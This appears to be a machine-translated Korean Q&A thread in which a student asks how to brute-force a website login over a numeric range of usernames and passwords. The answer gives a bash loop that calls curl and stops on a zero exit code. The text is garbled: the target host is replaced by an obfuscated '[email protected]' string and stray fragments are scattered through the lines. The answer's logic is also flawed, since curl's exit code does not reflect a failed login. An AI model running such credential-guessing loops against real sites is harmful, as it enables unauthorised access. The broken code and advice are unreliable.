컴퓨터 과학을 전공하는 저는 지금 명령줄 사용법을 배우고 있습니다. 사용자 이름과 비밀번호가 특정 범위 내의 정수라는 것을 알고 웹 사이트에 로그인하려면 무차별 대입을 사용해야 합니다. 이것이 내가 지금까지 가지고 있는 것이지만 작동하지 않는 것 같습니다.
for i in {2000..3000}; do curl http://admin:[email protected]/link; done
어떻게 진행하나요?
답변1
i
귀하의 루틴에서 누락된 것은 루틴을 찾았을 때 종료하는 올바른 방법입니다. 이를 수행하려면 컬에서 반환된 종료 코드를 볼 수 있습니다.
for i in {2000..3000}
do
curl http://admin:[email protected]/link
if [ "$?" -eq 0 ]; then
echo Found "$i"
break
fi
done
모두 정상일 경우 종료값은 curl
0이 되며, 프로그램 종료 후 특수 변수를 확인하여 직접 확인할 수 있습니다 $?
. 종료 코드로 알 수 있는 다양한 항목을 모두 보려면 사용 man curl
하고 검색하세요 .EXIT CODE
curl